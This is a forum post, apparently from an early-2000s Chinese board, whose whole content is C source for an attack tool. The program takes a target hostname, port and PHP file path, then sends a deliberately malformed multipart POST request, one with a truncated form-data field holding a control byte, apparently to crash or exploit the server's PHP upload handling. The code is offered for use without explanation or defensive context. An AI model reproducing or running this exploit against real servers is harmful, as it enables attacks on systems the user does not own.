楚楚留香
级别:精灵王 威望:6 经验:1 货币:2090 体力: 来源:61.159.251.* 总发帖数:590 注册日期:2001-04-17
|
|
查看 邮件 主页 QQ 消息 引用 复制 下载
#include
<stdio.h> #include <string.h> #include
<stdlib.h> #include <errno.h> #include
<string.h> #include <netdb.h> #include
<sys/types.h> #include <netinet/in.h> #include
<sys/socket.h> #include <sys/wait.h> #include
<unistd.h> #include <fcntl.h>
#define MAX
1000 #define PORT 80
char *str_replace(char *rep, char
*orig, char *string) { int len=strlen(orig); char
buf[MAX]=""; char *pt=strstr(string,orig);
strncpy(buf,string, pt-string ); strcat(buf,rep);
strcat(buf,pt+strlen(orig)); strcpy(string,buf); return
string; }
int main(int argc,char *argv[MAX]) {
int sockfd; int numbytes; int port; char *ptr;
char POST_REQUEST[MAX] = "POST ##file HTTP/1.0\n"
"Referer: http://host/xxxxxx/exp.php?hi_lames=haha\n"
"Connection: Keep-Alive\nContent-type: multipart/for"
"m-data; boundary=---------------------------1354088"
"10612827886801697150081\nContent-Length: 567\n\n---"
"--------------------------1354088106128278868016971"
"50081\nContent-Disposition: form-data; name=\"\x8\"";
struct hostent *he; struct sockaddr_in their_addr;
if(argc!=4) { fprintf(stderr,"usage:%s
<hostname> <port> <php_file>\n",argv[0]);
exit(1); }
port=atoi(argv[2]);
ptr=str_replace(argv[3],"##file",POST_REQUEST);
//ptr=POST_REQUEST;
if((he=gethostbyname(argv[1]))==NULL) {
perror("gethostbyname"); exit(1); }
if(
(sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1) {
perror("socket"); exit(1); }
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(port);
their_addr.sin_addr=*((struct in_addr*)he->h_addr);
bzero(&(their_addr.sin_zero),8);
if(
connect(sockfd,(struct sockaddr*)&their_addr,\ sizeof(struct
sockaddr))==-1) { perror("connect"); exit(1); }
if( send(sockfd,ptr,strlen(POST_REQUEST),0) ==-1) {
perror("send"); exit(0); }
close(sockfd);
return 0; } |